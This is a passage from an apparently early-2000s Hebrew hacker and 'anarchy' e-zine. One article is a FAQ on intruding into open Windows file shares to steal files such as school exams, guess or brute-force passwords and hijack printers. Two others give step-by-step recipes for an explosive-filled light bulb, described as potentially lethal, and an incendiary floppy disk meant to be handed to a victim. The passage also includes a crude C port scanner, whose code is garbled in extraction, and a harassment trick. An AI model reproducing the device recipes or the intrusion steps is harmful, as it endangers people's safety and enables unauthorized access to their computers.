‫ברגע זה‪ ,‬שבו אתם מחטטים בקבצים של המחשב הפרוץ הראשון שלכם‪ ,‬אתם צריכים‬
‫להרגיש רגש עצום מלא גאווה‪ ,‬שמחה‪ ,‬והתלהבות‪ .‬עשיתם את זה!‬
‫פצתם למחשב ללא כל שימוש בסוס טרויאני‪ .‬ללא הורדת תוכנת האקינג של מישהו אחר‪.‬‬
‫עשיתם את זה‪ ,‬בעצמכם‪ .‬סחטיין‪.‬‬

‫שאלות ובעיות נפוצות‪:‬‬

‫‪51‬‬
‫ש‪ :‬כאשר אני מנסה למחוק לבני זונות קבצים‪ ,‬זה לא מאשר את המחיקה‪.‬‬

‫ת‪ :‬ישנם מחשבים שביטלו את האפשרות של הכתיבה בשיתופים‪ ,‬ולכן יהיה לכם רק‬
‫גישת קריאה מה שאומר שיש לכם גישה לכל הקבצים ותוכלו להעתיק דברים מעניינים‬
‫למחשב שלכם האישי‪ ,‬אבל לא תוכלו להעתיק קבצים ממכם אליהם או למחוק להם דברים‪,‬‬
‫או לגרום לכל שינוי במחשב שלהם‪ .‬גישה כזאת של קריאה בלבד עדיין יכולה להיות‬
‫יעילה ביותר‪ .‬היא לא תיתן לכם לשנות למישהו בבית ספר את הציון בתעודה‪ ,‬אבל תוכלו‬
‫להשיג עותק של המבחן הבא ולחלק אותו לכולם ככה שיהיו מוכנים עם התשובות מראש‪.‬‬

‫ש‪ :‬כשאני לוחץ פעמיים על המחשב שנמצא‪ ,‬זה מבקש סיסמא‪.‬‬

‫ת‪ :‬במקרים מעטים המחשבים שאליהם ברצונכם לפרוץ יהיו מוגנים עם סיסמא‪,‬‬
‫במקרה כזה יש לכם ארבעה אפשרויות‪:‬‬

‫* לנחש את הסיסמא‬

‫* להשתמש בתוכנה שתנסה כל אפשרות בעולם עד שזה יימצא את הסיסמא (לוקח שעות)‪.‬‬

‫* לפרוץ את הסיסמא בעזרת תוכנה שתסיר את הסיסמא בעזרת חור אבטחה‬


‫שנמצא בהגדרת הסיסמא לשיתופים במערכת ווינדוס (גם אופציה זאת תיקח שעות)‪.‬‬

‫* לוותר על המחשב הזה ולנסות מחשב אחר‪.‬‬

‫אני ממליץ לנסות את האפשרות הראשונה‪ ,‬אם לא הולך לכם אז תעברו לאחרונה‪.‬‬
‫אבל תעשו מה שבא לכם‪ ,‬ואיך שבא לכם‪ ,‬כי אחרי הכל‪ ,‬זאת הפריצה שלכם‪.‬‬

‫ש‪ :‬איפה אני יכול למצוא סורק שיתופים?‬

‫ת‪ :‬הנה כמה שמות של סורקים מפורסמים‪:‬‬


‫‪Ogre‬‬
‫‪Legion‬‬
‫‪Nbtscan‬‬
‫‪Vir0x‬‬

‫פשוט חפשו אחד מהם באתר חיפוש כגון‪altavista.com :‬‬


‫השימוש בכל סורק שונה‪ ,‬ולכן פשוט קיראו את קובץ ההוראות המצורף‪ ,‬ובהצלחה‪..‬‬

‫ש‪ :‬איך אוכל להשתמש במדפסת על המחשב הפרוץ?‬

‫ת‪ :‬אם תראו שעל המחשב נמצאת מדפסת שגם היא משותפת‪ ,‬לחצו עליה פעמיים‪.‬‬
‫אתם תתבקשו להתקין את הדרייברים על המחשב שלכם‪ .‬אחרי שפעולה זאת הסתיימה‪,‬‬
‫סמנו את הקובץ שברצונכם להדפיס (לא חשוב אם הוא נמצא על המחשב שלכם או שלהם)‬
‫לחצו על ‪ ,Ctrl + C‬כעת סמנו את המדפסת על המחשב הפרוץ ולחיצו על ‪.Ctrl + V‬‬
‫ההדפסה תחל ותקפיץ את האנשים של המחשב הפרוץ ב ‪ -‬אאאההההההההההה!!!!!!!!!!!‬

‫ש‪ :‬נגנבתי על הפריצה‪ ,‬זה היה ממש מדליק‪ ,‬אבל היא עובדת רק על מחשבים מסוימים‬
‫ואני רוצה לפרוץ לכל המחשבים בעולם‪ .‬איך אני יכול לפרוץ לכל מחשב בלי להוריד‬
‫שום תוכנה סתאם ככה מהמחשב שלי עם ווינדוס וחיבור לאינטרנט?‬

‫ת‪Fuck You :‬‬

‫‪52‬‬
‫תרגישו חופשי לפרוץ לאן שבא לכם ולהרוס כל מה שבא לכם‪ ,‬הכל על חשבוני‪.‬‬
‫שלכם‪ ,‬גיהינום‬

‫פצצת מנורה‬

‫פעולה אוטומטית בכניסה לחדר חשוך היא הדלקת האור‪.‬‬


‫זה יכול להיות קטלני‪ ...‬אם פצצת מנורה מוקמה במנורת התייקרה‪.‬‬
‫פצצת מנורה היא קלה ביותר להכנה‬
‫בחלק מהמנורות הזכוכית ניתנת לפירוק ע"י חימום של הבסיס עם מבער ריתוך או כיריים‬
‫של מטבח וכשהדבק נהיה חם מספיק זה ניתן להסרה‪.‬‬
‫בחלק אחר של הנורות נדרש חימום נקודתי ע"י מבער ריתוך או מבער אוקסיאצטילן‪.‬‬
‫בכל אחד מהמקרים‪ ,‬לאחר שהבסיס והזכוכית קוררו לטמפרטורת החדר הם ניתנים למילוי‬
‫בחומר נפץ כמו אבק שריפה או כל דבר אחר‪.‬‬
‫אם הזכוכית נותקה מהבסיס היא חייבים להדביק אותה חזרה‪ ,‬ואם נוצר חור בזכוכית‬
‫חייבים לכסות אותו בנייר דבק כדי לשמור את חומר הנפץ בפנים‪.‬‬
‫לאחר מכן כל שנותר לעשות הוא להבריג את המנורה לתוך בית המנורה‬
‫(רצוי לנתק קודם את החשמל לחדר כאמצעי בטיחות ‪):‬‬

‫הכתבה נכתבה ע"י ‪.Rel8t‬‬

‫‪53‬‬
‫אנרכיה‬

‫בזמן האחרון יש לנו הרבה מקרים של 'אנרכיסטים' שמבינים לא נכון את כל העניין של אנרכיה‪.‬‬
‫כתבתי אנרכיסטים במירכאות כי אלה לא אנרכיסטים‪ .‬הם מייצגים את עצמם ואת עצמם בלבד‪.‬‬
‫ולכן רציתי לכתוב פה כתבה שתסביר מה זה כן האנרכיה‪ .‬מה בעצם נותן לנו את הרשות‬
‫לונדליזם‪,‬‬
‫או לכל דרך אחרת שבה אנו האנרכיסטים מתבטאים‪ .‬לתת לכם הילדים השמנים בבית‪ ,‬שמשעמם‬
‫להם בחיים ורוצים קצת משהו מעניין ולכן קוראים את המילים האלה‪ ,‬לראות הכל מזווית‬
‫הראיה הנכונה‪.‬‬
‫ובכן‪ ,‬ניסיתי עוד פעם ועוד פעם ועוד פעם לנסח את האמת שעומדת מאחורי כל הרעיון של‬
‫האנרכיה‪.‬‬
‫או איך שאני רואה אותה לפחות‪ .‬אבל לא משנה מה כתבתי ואיך כתבתי זה לא יצא כמו שרציתי‬
‫ולא הציג‬
‫את הדברים כמו שרציתי שזה יציג אותם‪ .‬לכן כל מה שאני יכול להגיד לכם זה לראות את הסרט‬
‫‪.Antz‬‬
‫אם כי הסרט לא ממש מדבר על אנרכיה‪ ,‬והנמלה בסופו של דבר מחליטה שהדרך הטובה ביותר‬
‫היא שלטון‪,‬‬
‫וחיים בתוך מערכת‪ ,‬אלא שהפעם היא חלק מהמערכת מתוך רצון‪ ,‬כאשר לכל אחד יש השפעה‬
‫חזקה וטובה יותר‪,‬‬
‫וכולם (כך נראה לפחות) מרוצים מהשלטון החדש‪ ,‬והפעם הכל בנוי כמו שהנמלה רצתה‪ ,‬הסרט‬
‫עדיין מציג‬
‫בצורה כלשהי קצת את הרעיון של אנרכיה‪ .‬זה לא מציג את זה כמו שהייתי רוצה להציג את זה‪,‬‬
‫אבל זה עדיף מכל הניסיונות שלי להסביר את ראיית העולם שלי כאנרכיסט‪.‬‬

‫תיהנו מהסרט‪.‬‬

‫שלכם‪GeHeNoM ,‬‬

‫‪54‬‬
‫פצצת דיסקט‬

‫חומרים‪:‬‬
‫· דיסקט‬
‫· מספריים‬
‫· גפרורי מטבח לבנים או כחולים (חייבים להיות בצבע הזה!!)‬
‫· לכה שקופה לציפורניים‬

‫‪ .1‬פתחו בעדינות את הדיסקט (כאלה של ‪ 3‬אניץ' ומעלה הכי טובים למטרה זאת)‪.‬‬
‫‪ .2‬הסירו את עטיפת הכותנה מבפנים‪.‬‬
‫‪ .3‬גרדו הרבה אבקה מהגפרורים לתוך צלחת (השתמשו במגרדת מעץ‪ ,‬מתכת תצית את הגפרורים‬
‫ביחד איתכם ‪)..‬‬
‫‪ .4‬אחרי שיש לכם הרבה אבקה‪ ,‬פזרו אותה בנדיבות בתוך הדיסקט‪.‬‬
‫‪ .5‬שפכו את הלכה מעל האבקה שפיזרתם‪.‬‬
‫‪ .6‬תנו לעסק להתייבש…‬
‫‪ .7‬בזהירות חברו בחזרה את הדיסק והיעזרו בלכה לסגור אותו מבפנים (איפה שפתחתם)‪.‬‬
‫‪ .8‬תנו את הדיסקט למישהו שאתם מאוד אוהבים…‬

‫מה שיקרה הוא שכשהכונן ינסה לקרוא את הדיסקט תהיה שרפה קטנה (מספיק חום כדי להימס‬
‫את כונן הדיסקטים ולדפוק את ראש הקריאה של הכונן!)‪ .‬צפו בהנאה כשהטכנאים לא מבינים‬
‫מה עבר על המחשב…‬

‫במדריכי האנרכיה הבאים‪ :‬איך להפנט בנאדם בעשר דקות‪ ,‬איך לשגע את רשת מקדולנדס‪,‬‬
‫והשיטות הטובות ביותר לגידול מריחואנה בחצר‪ .‬סתאם‪ ,‬לא‪ .‬תהיו ילדים טובים כמוני‪ .‬איכסה‬
‫אנרכיה‪.‬‬

‫אוהבת תמיד‪,‬‬

‫בלאדי‪.‬‬

‫‪55‬‬
‫‪Port Scaning‬‬

‫אהללללללןןןןן‬
‫מה המצבבבבבבב?‬
‫אז ככה ‪ -‬פעם אחת ניסיתי למצוא אינפו על משהו‪ .‬רציתי להריץ פורט סקאנינג‪ .‬בדרך כלל אני‬
‫אוהבת לנסות להיכנס לפורטים הידועים ידנית (דרך טלנט)‪ ,‬אבל במקרה ההוא אחרי שעשיתי את‬
‫הבדיקה הידנית לפורטים הידועים רציתי להריץ סקנינג כולל‪ ,‬לדעת אם יש איזה פורט פתוח‬
‫אחר‪ .‬אז העליתי את הקומפיילר שלי‪ ,‬וכתבתי משהו מהיר שיעשה בשבילי את העבודה‪.‬‬
‫אז‪ ...‬גיהינום ביקש שאני אפרסם את הקוד פה (זה בשפת ‪ )C‬אז הנה פרסמתי‪ .‬זה היה לפני שהוא‬
‫עזב את האתר ולא יודעת למה הוא לא פרסם את זה עד עכשיו‪ .‬בכל מקרה‪ ,‬אל תשתמשו בזה‬
‫כפורט סקנר כי הוא א‪-‬י‪-‬ט‪-‬י בטירוף (אחרי חצי שעה הוא בקושי הספיק לסרוק פחות מ‪50-‬‬
‫פורטים) אבל זה תרגול טוב לסוקטים ולתכנות ברמות הנמוכות שדיסקסתי במדריכים הקודמים‬
‫ושוב‪ ,‬זה משהו שכתבתי ב‪ 5-‬דקות לצורך מסויים‪ .‬אז נכון שיש הרבה דברים שיכולתי לעשות כדי‬
‫להאיץ קצת את הפעולה (לפתוח כמה סוקטים במקביל‪ ,‬להוציא הוראות מהלולאה) או לשפר‬
‫אותה קצת (לאפשר גם להתחבר ב ‪ dns‬ולא רק בכתובת ‪ ip‬אבל זה תמיד מסתבך לי משום מה)‬
‫אבל לא היה לי כוח‪.‬‬

‫בעיקרון התוכנה הקטנה הזאת מבקשת את האייפי שאתם רוצים להתחבר אליו (השיגו אותו‬
‫בעזרת ‪ )netstat -a‬ומנסה להתחבר לפורטים ‪ 1-1024‬על אותו אייפי‪ .‬שימו לב להוראה ‪for‬‬
‫‪)++)port=1;port<1024;port‬‬
‫שבודקת את הפורטים ‪ .1-1024‬אם בא לכם לבדוק מספרים אחרים‪ ,‬פשוט שנו את המספרים‪.‬‬
‫(אפשר גם לדוגמה להריץ פעמיים את התוכנה כאשר אחת סורקת ‪ 1-50‬ואחת סורקת ‪1-100‬‬
‫וכדומה)‪ .‬התוכנה שולחת בקשה לפתיחת סוקט בפורטים ‪ .1-1024‬אם הבקשה נענית בחיוב (יש‬
‫האזנה על השרת לאותו פורט) התוכנה רושמת את מספר הפורט על המסך‪.‬‬

‫כמו שאמרתי‪ ,‬זה מ‪-‬א‪-‬ו‪-‬ד א‪-‬י‪-‬ט‪-‬י (אבל מאוד!) אז אל תיבהלו אם אחרי עשר דקות אתם עדיין‬
‫לא רואים כלום על המסך‪.‬‬

‫כדי לבדוק לאיזה פורט התוכנה הגיעה‪ ,‬הקלידו בחלון דוס‪:‬‬


‫‪netstat -a‬‬
‫ותראו את כל הפורטים הפתוחים אצלכם‪ .‬הפורט שלידו כתוב‬
‫‪SYN_SENT‬‬
‫זהו הפורט אליו מנסה התוכנה להתחבר כרגע‪.‬‬

‫בקשר לקומפיילרים‪ ,‬כמובן שאין אין אין כמו ‪ gcc‬אבל אם אתם כמוני שתקועים על ווינדוס‪ ,‬יש‬
‫תחליף של ‪ lcc‬שזה קומפיילר הבנוי בצורת ‪ .gcc‬קומפיילר מצוין‪ ,‬אבל יש לו את הקריזות שלו‪,‬‬
‫ולכל תוכנית צריך לפתוח פרוייקט חדש בכל פעם‪ ,‬ועד שמצליחים ליצור קובץ חדש יוצאת‬
‫הנשמה‪.‬‬

‫‪>include <stdio.h#‬‬
‫‪>include <winsock.h#‬‬
‫‪>include <winsock32.h#‬‬
‫‪>include <windows.h#‬‬

‫‪)void winsock_init)void‬‬
‫{‬
‫‪;WSADATA info‬‬
‫‪)if )WSAStartup)MAKEWORD)1,1(, &info( != 0‬‬
‫‪MessageBox)NULL, "Cannot initialize WinSock!", "WSAStartup",‬‬
‫‪;)MB_OK‬‬
‫}‬

‫‪56‬‬
)][int main)int argc,char *argv
{
/* ...winsock_init)(; /* the windows intialization stuff

;int sockfd
;int port
;struct sockaddr_in dest_addr

/* char IP[16]; /* Will hold the IP address we wish to connect to

;(" ?printf("\nDestination IP
;(gets(IP

/* ??bzero)&)my_addr.sin_zero(,8(;*/ /* why this doesn't work*/

)++for )port=1;port<1024;port
{
;)sockfd = socket)AF_INET,SOCK_STREAM,0
;dest_addr.sin_family = AF_INET
;)dest_addr.sin_port = htons)port
;)dest_addr.sin_addr.s_addr = inet_addr)IP
if )connect)sockfd, )struct sockaddr *(&dest_addr, sizeof)struct
)sockaddr(( >= 0
{
;)printf)"\n%d", port
/* if connected successfully, return port num */
}

/* shutdown)sockfd,3(; /* Close the socket for sending and receiving


}

;)".printf)"Connection closed
/* return 0; /* Return a success value
}

,Have fun
,‫אוהבת‬
.Bloody

57
‫טיפול "משמעתי" בקרציות‬

‫שלום אחים שלי‪.‬‬

‫הנה טריק קטן שחברים שלכם יחשבו שהם גברים‪.‬‬

‫כל אחד מכיר איזה ילד דפוק ומעצבן שמתקרצץ ומנסה לפרוץ לכם למחשב ‪ ,‬לא?‬
‫או סתם איזה מפגר שמעצבן אתכם‪.‬‬
‫פשוט‪.‬‬
‫תדברו אייתו באי סי קיו או באי אר סי‪.‬‬

‫פיתחו חלון דוס‪.‬‬


‫הקלידו ‪.Netstat -a‬‬

‫גלו את האי פי או את ההוסט שלו‪.‬‬


‫אם מצאתם איי פי ‪ ,‬זה מצוין‪.‬‬
‫אם מצאת הוסט ‪ ,‬הורידו תוכנה ההופכת הוסט לאיי פי‪.‬‬

‫*** הערה מבלאד ראנר‪ :‬לא צריך תוכנה ההופכת הוסט לאייפי‪ ,‬פשוט הקלידו ‪ netstat -an‬כדי‬
‫לקבל את הכתובת בצורה נומרית (יענתו בצורת אייפי) ***‬

‫עכשיו‪.‬‬
‫הסתכלו על השעון בתחתית המסך‪.‬‬

‫לפי ההוסט ( או האי פי אם אתה טיפה אינטליגנטים) מיצאו את חברת האינטרנט של משתמש‬
‫זה‪.‬‬
‫עכשיו ‪ ,‬גילשו לאתר של חברת האינטרנט הזאת ‪ ,‬ורישמו את מספר הטלפון שלה‪.‬‬

‫כעט ‪ ,‬התקשרו לחברת האינטרנט ‪ ,‬ואימרו את הדברים הבאים‪:‬‬

‫" מדבר ‪ ....‬הרגע מישהו ניסה לפרוץ לי למחשב ‪ .....‬והאי פי שלו הוא‪.....‬הוא ניסה לפרוץ בשעה‪...‬‬
‫ותשמעו אמינים לא סתם ילדים קטנים שעושים שטויות‪.‬‬
‫עכשיו ‪ ,‬תקראו טוב את מה שאני רושם עכשיו‪:‬‬
‫חברת האינטרנט מחויבת לתת לכם את הטלפון של אותו משתמש!!!!!!!!!!!!‬
‫עכשיו‪...‬‬
‫תתקשרו לאותו בן אדם‪...‬ותגידו לו מה ניסית לפרוץ לי למחשב‪........‬‬
‫‪):‬‬

‫שין שן‬
‫‪IceFire3k‬‬

‫‪58‬‬
‫גפרורים שמישים מתחת למים‬

‫אתם צריכים‪:‬‬
‫‪-‬חבילה של ‪ 10‬דיודות סיליקון (תדעו שקיבלתם את הדבר הנכון אם אלה חפצים קטנים‬
‫מזכוכית)‬
‫‪-‬חבילת גפרורים‬
‫‪-‬נר‬

‫‪-‬הדליקו את הנר ותנו ל"בריכה" של שעווה להיווצר בחלק העליון‬

‫‪-‬הצמידו את החלק מהזכוכית של דיוקה אחת ולפפו את אחד הקצוות שלה מסביב לגפרור‬
‫והוציאו את הקצה החוצה‬
‫עשו אותו דבר עם הקצה השני אבל בכיוון מנוגד‪ ,‬עכשיו שני הקצוות צריכים להיות מלופפים‬
‫מסביב לגפרור אבל לא נוגעים אחד בשני!!!!‬

‫‪-‬הכניסו את ראש הגפרור לתוך "בריכת" השעווה כך שיווצר כיסוי עמיד במים‬

‫‪-‬הכינו כמה כאלה שתרצו‬

‫‪-‬כשהדיודה מחוברת לבטריה של ‪ 6‬וולט‪ ,‬היא מגיעה למה שנקרא מתח שבירה‬
‫כשרוב הרכיבים האלקטרוניים מגיעים לנקודה זו‪ ,‬הם מפיקים כמות גדולה של חום ואור(שנמס‬
‫מהר מאוד לכתם קטן)‬
‫החום הזה מספיק כדי להצית את הגפרורים שיעבדו מתחת למים‪( .‬כשרוב הגפרורים מסרבים‬
‫להידלק ‪):‬‬

‫‪IceFire3k‬‬

‫‪59‬‬
‫שרתי פרוקסי‬

‫"‪"Death Comes To Us All‬‬


‫‪Ella Shalvi‬‬

‫שרת פרוקסי הוא בעצם שרת אשר דרכו אתם מתחברים לאתר אשר אליו אתם מתחברים‪.‬‬
‫כלווווווווווווווווווווומממממממממממרררר‪....‬‬
‫כשאתם נכנסים לאתר מה שקורה זה שדרך ספק האינטרנט שלכם אתם מתחברים לשרת שעליו‬
‫מאוחסן האתר‪,‬‬
‫והוא נותן לדפדפן שלכם את הקוד של האתר שפעם היה בנוי מ ‪ HTML‬ומה לעשות שהיום זה לא‬
‫תמיד ככה‪.‬‬
‫היום הוא יכול להיות אומנם מורכב מ ‪ ,HTML‬אבל זה רק יהיה בין השאר‪...‬‬
‫כי יש לנו את ‪ Flash‬של מקרומדיה ואל תשכחו את כל ה ‪Script Languages‬‬
‫ויש גם ‪ cgi‬ו ‪ asp‬וכו'‪ .‬טוב‪ ,‬בכל מקרה‪ ,‬הדפדפן מקבל את‬
‫האתר בפורמט ‪ Html‬ואח"כ מתרגם את זה למה שאתם רואים על המסך‪.‬‬
‫זה פחות‪-‬או‪-‬יותר מה שקורה‪.‬‬
‫יותר פחות מאשר יותר‪.‬‬
‫או מצד שני פחות יותר מאשר פחות‪.‬‬
‫או בעצם‪ ..‬לא חשוב‪.‬‬

‫מה ששונה בשימוש בשרת פרוקסי הוא שבמקום להתחבר "ישירות" אל האתר‪ ,‬אתם עושים זאת‬
‫דרך‬
‫שרת הפרוקסי‪ .‬מה שגורם לשני דברים עיקריים‪:‬‬
‫‪ .1‬התחברות מהירה יותר ‪ /‬איטית יותר (תלוי)‬
‫‪ .2‬אנונימיות‪.‬‬

‫כן‪ ,‬אנונימיות‪ .‬לא‪ ,‬א‪.‬נ‪.‬ו‪.‬נ‪.‬י‪.‬מ‪.‬י‪.‬ו‪.‬ת‪.‬‬


‫כן‪ ,‬לא‪ ,‬כן‪ ,‬לא‪ ,‬כן כן כן כן כן כן כן כן כן‪.‬‬

‫מה גורם להתחברות מהירה יותר?‬


‫ובכן‪ ,‬בואו נאמר שהמחשב שלכם הוא ‪ A‬והאתר שאליו אתם רוצים להגיע הוא ‪.B‬‬
‫בכדי שהמחשב ‪ A‬יוכל ליצור קשר עם המחשב ‪ B‬שעליו נמצא האתר‪ ,‬הוא צריך להתחבר דרך‬
‫מלא מלא‬
‫מחשבים‪ .‬למה? כי ככה‪ .‬כי המחשבים ‪ A‬ו ‪ B‬מרוחקים מאוד מבחינה גיאוגרפית‪ A .‬נמצא‬
‫בישראל‪,‬‬
‫ו ‪ B‬נמצא באמריקה‪ .‬אז ‪ A‬עושה את הדרך הבאה‪:‬‬
‫‪A-F-U-C-K-T-H-E-G-O-V-E-R-M-E-N-T-B‬‬
‫כלומר‪ ,‬הוא היה צריך להתחבר לכל המחשבים האלה (‪ )fuckthegoverment‬עד שהוא הגיע ל ‪.B‬‬
‫עכשיו‪ ,P ,‬שרת הפרוקסי שלנו‪ ,‬יעזור לנו להגיע לשם יותר מהר‪ .‬למה? כי במקום להתחבר דרך‬
‫כל כך הרבה מחשבים אנחנו עושים את הדבר הבא‪:‬‬
‫‪A-F-U-C-K-P-Y -B‬‬
‫כלומר‪ ,‬אחרי ‪ ,fuck‬הוא הגיע לשרת פרוקסי אשר היה צריך להתחבר למחשב יחיד‪ ,Y ,‬בכדי‬
‫להגיע‬
‫ליעד הסופי (‪ ,)B‬מה שקיצר את כל הדרך‪ .‬דמיינו את זה כאילו שבמקום ללכת את כל הסיבוב‬
‫מהבית ספר‬
‫למכולת של יהודה‪ ,‬אתם משתמשים בדרך קיצור וחותכים באמצע‪ .‬כמובן שלפעמים לשרת‬
‫פרוקסי‬
‫יהיה חיבור מהיר יותר מאשר לשרתים אליהם תתחברו אם לא תשתמשו בו מה שייאץ את‬
‫החיבור עוד יותר‪.‬‬
‫אבל כמובן שזה לא חייב להיות ככה‪ .‬יכול להיות שחיבור דרך שרת הפרוקסי רק ייגרום‬
‫לחיבורים רבים יותר‬

‫‪60‬‬
‫ואיטיים יותר ובכך יאט את כל התהליך‪ .‬בשביל להבין את זה דמיינו שבמקום ללכת ישר לבית‬
‫של אלי‬
‫אתם צריכים עכשיו לעשות את כל הסיבוב כי קודם אתם צריכים לעבור דרך הבית של מיכל‬
‫שהיא בעצם‬
‫שרת הפרוקסי ובגללה הכל נהיה יותר ארוך ואיטי‪ .‬כוס אימא של מיכל‪ ,‬תראו מה היא עושה‪.‬‬
‫אסור לעבור דרך הבית שלה‪ .‬מיכל‪ ,‬תסתכלי למה את גורמת‪.‬‬

‫עכשיו בקשר לאנונימיות‪,‬‬


‫כשאתם מתחברים לאתר בדרך הרגילה‪" ,‬ישירות"‪ ,‬מספר האיי פי שלכם נקלט לשרת‪.‬‬
‫אבל כשאתם מתחברים דרך שרת הפרוקסי‪ ,‬מספר האיי פי של הפרוקסי נקלט במקום!!!‬
‫זה יכול להיות יעיל במקרים רבים ומרובים ואדומים וכחולים וגם צהובים אם בא לכם‪.‬‬

‫אבל מה זה איי פי?‬


‫כל פעם שאתם מתחברים לאינטרנט המחשב שלכם מקבל כתובת ‪.IP‬‬
‫‪ IP‬זה בעצם קיצור ל ‪ ,Internet Protocol‬אותו פרוטוקול שאחראי להעברת המידע‪.‬‬
‫אבל את זה אתם לא צריכים לדעת‪ .‬מה שכן‪ ,‬מספר איי פי או כתובת איי פי זה מעין‬
‫מספר זיהוי של המחשב שלכם‪ .‬בחיבור מודם רגיל‪ ,‬כל פעם שאתם מתחברים לאינטרנט כתובת‬
‫האיי פי שלכם תשתנה‪ .‬בכדי לבדוק מה כתובת האיי פי שלכם ברגע זה לחצו על תפריט ההתחל‪,‬‬
‫בחרו בהפעלה והקלידו‪winipcfg :‬‬
‫לחצו על מקש ה ‪ Enter‬וחלון חדש יופיע‪.‬‬
‫הסתכלו בתיבה של ה ‪ .IP Address‬יופיעו בה ארבעה מספרים מופרדים בנקודה‪.‬‬
‫אם אינכם מחוברים כרגע לאינטרנט‪ ,‬הכתובת תהיה ‪127.0.0.1‬‬

‫עכשיו‪ ,‬אחרי שקראתם את כל הזיבולים שלי על שרתי הפרוקסי‪ ,‬אתם בטח מתים להתחבר כבר‬
‫לאחד‪.‬‬
‫את האמת‪ ,‬אתם בטח מתים משעמום‪ ,‬וכבר לא בא לכם לקרוא את זה אבל מה עוד כבר יש לכם‬
‫לעשות עכשיו?‬

‫בכל מקרה‪ ,‬מאינטרנט אקספלורר (‪ ,)Internet Explorer‬בחרו את התפריט ‪ Tools‬ובחרו‬


‫ב ‪ .Internet Options‬ייפתח לכם חלון חדש על המסך עם שישה תפריטים למעלה‪:‬‬
‫‪General, Security, Content, Connections, Programs, Advanced‬‬
‫לחצו עם העכבר על תפריט ה ‪.Connections‬‬
‫עכשיו חיפשו כפתור שכתוב עליו ‪Settings...‬‬
‫לחצו על הכפתור‪.‬‬
‫חפשו איפה שכתוב את המילים ‪.Proxy Server‬‬
‫תדאגו שהתיבה מתחת שבה כתוב ‪ Use a proxy server‬תהיה מסומנת‪.‬‬
‫אם היא לא מסומנת‪ ,‬סמנו אותה עכשיו‪ .‬כעת נשאר לכם רק למלא את שני תיבות הטקסט למטה‪.‬‬
‫התיבה הראשונה היא ‪ .Address‬פה אתם כותבים את כתובת שרת הפרוקסי‪.‬‬
‫התיבה הבאה שלנו היא ‪ .Port‬כאן אתם כותבים את מספר הפורט שבו שרת הפרוקסי פתוח‪.‬‬
‫זה בד"כ יהיה ‪ 8080‬או ‪ 8000‬אבל ממש ממש לאו דווקא‪.‬‬
‫אחרי שאתם ממלאים את שני התיבות האלה אתם פשוט לוחצים על כפתור ה ‪.OK‬‬
‫ושוב‪ ,‬לחצו עוד פעם על כפתור ה ‪.OK‬‬
‫אז איפה לעזאזל אתם מוצאים שרת פרוקסי? ואיך אתם יודעים באיזה פורט הוא פתוח?‬
‫ובכן‪ ,‬בד"כ לספק האינטרנט שלכם יהיה שרת פרוקסי‪ ,‬תשאלו אותם‪ .‬אני בטוח שהם ישמחו‬
‫לעזור‪.‬‬
‫אם אתם משתמשים בבזק בינלאומי לדוגמא‪ ,‬שרת הפרוקסי הוא‪proxy.bezeqint.net :‬‬
‫ומספר הפורט הוא‪8080 :‬‬

‫חוץ מזה יש אלפי אתרים המפרסמים שרתי‬


‫פרוקסי הפתוחים לציבור הרחב‪ .‬שני אתרים כאלה הם‪:‬‬

‫‪http://proxys4all.cgi.net/public.shtml‬‬

‫‪61‬‬
‫‪http://tools.rosinstrument.com/cgi-bin/fp.pl/showlines?lines=200&sortor=3‬‬

‫וזהו‪ .‬אני יודע שיצא קצת חרא של כתבה אבל כתב אותה חרא של בנאדם (אם בכלל אפשר לקרוא‬
‫לי בנאדם)‪,‬‬
‫אז למה ציפיתם?‬

‫שלכם‪ ,‬של אימא שלי‪ ,‬של אבא שלי‪ ,‬של סבא שלי‪ ,‬של סבתא שלי‪ ,‬של אלוהים (שלא קיים)‪,‬‬
‫של המדינה‪ ,‬של השלטון‪ ,‬של העולם‪ ,‬של חברה שלי‪ ,‬וחברים שלי‪ ,‬וידידים שלי‪ ,‬וידידות שלי‪,‬‬
‫של המחשב שלי‪ ,‬ושל כל מה ששלי‪ ,‬וכל מה שלא שלי‪,‬‬

‫‪GeHeNoM‬‬

‫‪62‬‬
‫התקשרויות מחשבים‪ :‬חלק ראשון‪:‬‬
‫איך לבנות סרבר‬

‫"שני דברים הם אינסופיים‪ :‬היקום והטמטום" (איינשטיין)‬

‫טוב אז ככה‪:‬‬
‫הכתבה הזאת לא מיועדת למתחילים או לאנשים רעים כמוכם שמשתמשים בנטבאס או בסאב ‪7‬‬
‫או בדברים דפוקים כאלה כדי להרגיש שהם "האקרים מגניבים"‪ .‬אז קודם כל‪ ,‬רק שתדעו‬
‫ש"האקרים מגניבים" כמעט ולא קיימים בגלל שאנשים כמוכם משתמשים בתוכנות‪ .‬בואו נהיה‬
‫יותר חכמים ובמקום להוריד אקספלוייט – נתכנת אותו‪.‬‬
‫אז למי המדריך הזה כן מיועד? קודם כל למי שלא הפסיק לקרוא פה‪  ..‬אני לא הולכת עכשיו‬
‫ללמד אתכם שפת ‪ C‬כי ככה‪ ,‬אבל אם יש לכם ידע בשפה‪ ,‬אפילו בסיסי‪ ,‬זה יכול להיות הבסיס‬
‫לכתיבת אקספלוייטים בעתיד‪.‬‬
‫היי‪ ,‬בבקשה אל תצפו ממני ליותר מדי כי מה שאני יודעת על הנושא כתבתי פה‪ .‬אז ככה שאני עוד‬
‫לא יכולה ללמד אתכם איך לבנות אקספלוייט‪ ,‬אבל‪ ,‬גם זה יבוא…‬

‫יאללה לעניין‪:‬‬
‫זוכרים את מבנה ‪ 7‬השכבות של ‪ ?OSI‬הבסיס של ‪ ?TCP/IP‬אם כן‪ ,‬אז מה שאנחנו הולכים לעשות‬
‫עכשיו זה ‪ low level programming‬שזה תכנות בשלוש רמות הנמוכות יותר‪ .‬איבדתם אותי? לא‬
‫נורא‪ ,‬זה לא כזה חשוב כרגע‪.‬‬
‫אז איך בעצם מחשבים מתקשרים ביניהם? דרך ‪.sockets‬‬
‫‪ socket‬זה מן "שקע" שדרכו עוברת אינפורמציה‪ .‬כל מה שאתם עושים באינטרנט‪ ,‬גורם לפתיחת‬
‫התקשרויות ‪ .sockets‬נניח שאתם כותבים בשורת הפקודה בדוס‪telnet 156.76.119.7 23 :‬‬
‫בעצם על האייפי המבוקש (במקרה הזה ‪ )156.76.119.7‬נמצאת מן תוכנה (‪ )daemon‬שמחכה‬
‫להתקשרות‪ .‬ברגע שמישהו מבקש להתחבר לאותו פורט (במקרה הזה ‪ )23‬תפקיד התוכנה הוא‬
‫לאשר לו את ההתקשרות ולהגיב על פקודות שהוא נותן‪.‬‬
‫מחשב שנמצא במצב "האזנה" (‪ )listening‬להתקשרויות נכנסות‪ ,‬נקרא "שרת" או ‪.server‬‬
